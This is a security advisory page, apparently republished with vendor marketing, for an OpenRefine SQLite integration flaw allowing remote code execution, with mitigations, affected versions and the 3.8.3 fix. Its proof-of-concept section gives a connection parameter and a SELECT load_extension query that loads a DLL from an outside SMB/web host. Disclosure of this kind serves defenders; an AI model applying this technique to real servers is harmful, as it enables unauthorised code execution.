GHSA-87cf-j763-vvh8
HIGHOpenRefine's SQLite integration allows filesystem access, remote code execution (RCE)
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
org.openrefine:databaseReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
Summary
In the database extension, the "enable_load_extension" property can be set for the SQLite integration, enabling an attacker to load (local or remote) extension DLLs and so run arbitrary code on the server.
The attacker needs to have network access to the OpenRefine instance.
Details
The database extension, with some restrictions, lets users connect to any database they wish by filling in different parts of the JDBC URL that is used. For the SQLite integration, the extension expects a file path pointing to a database file (or a place where such a file can be created). This means that users can:
- Read files on local or SMB filesystems, provided they are SQLite databases.
- Write to files on local or SMB filesystems, as long as those files are either SQLite databases or empty.
This seems to be the expected behavior.
However, by adding ?enable_load_extension=true to the filename, a feature is toggled that additionally allows loading and executing shared libraries mentioned in queries, leading to remote code execution. On Windows specifically, those libraries may also come from shared folders.
Possible mitigation and hardening steps could include:
- Having users upload the SQLite database file they want to look at, storing it under some safe name, then opening that, rather than accepting a file path
- If that is not feasible: making the path relative to, and checking that it does not escape, the workspace directory
- If that is also not feasible: adding additional checks so that the path at least does not point to other machines or add JDBC parameters
- Always using the READONLY open mode
- Explicitly setting enable_load_extension to off
- Enforcing stricter limits and similar precautions
PoC
Tested on a Windows 11 machine.
- Start OpenRefine and choose "Create project", "Database", database type "SQLite".
- Type a writable file path followed by
?enable_load_extension=true. - Click Connect. The connection should succeed.
- Use
SELECT load_extension('\\wandernauta.nl\public\libcalculator.dll');as the query. - Assuming there are no firewalls in the way, a few Windows calculators should open.
The same file is available from https://wandernauta.nl/libcalculator.dll if needed.
Impact
Remote code execution for attackers with network access to OpenRefine.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | org.openrefine:database | ≥ 3.4-beta&&< 3.8.3 | 3.8.3 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for org.openrefine:database. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update org.openrefine:database to 3.8.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-87cf-j763-vvh8 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-87cf-j763-vvh8 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-87cf-j763-vvh8. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-87cf-j763-vvh8 in your dependencies?
O3 detects GHSA-87cf-j763-vvh8 across Maven dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.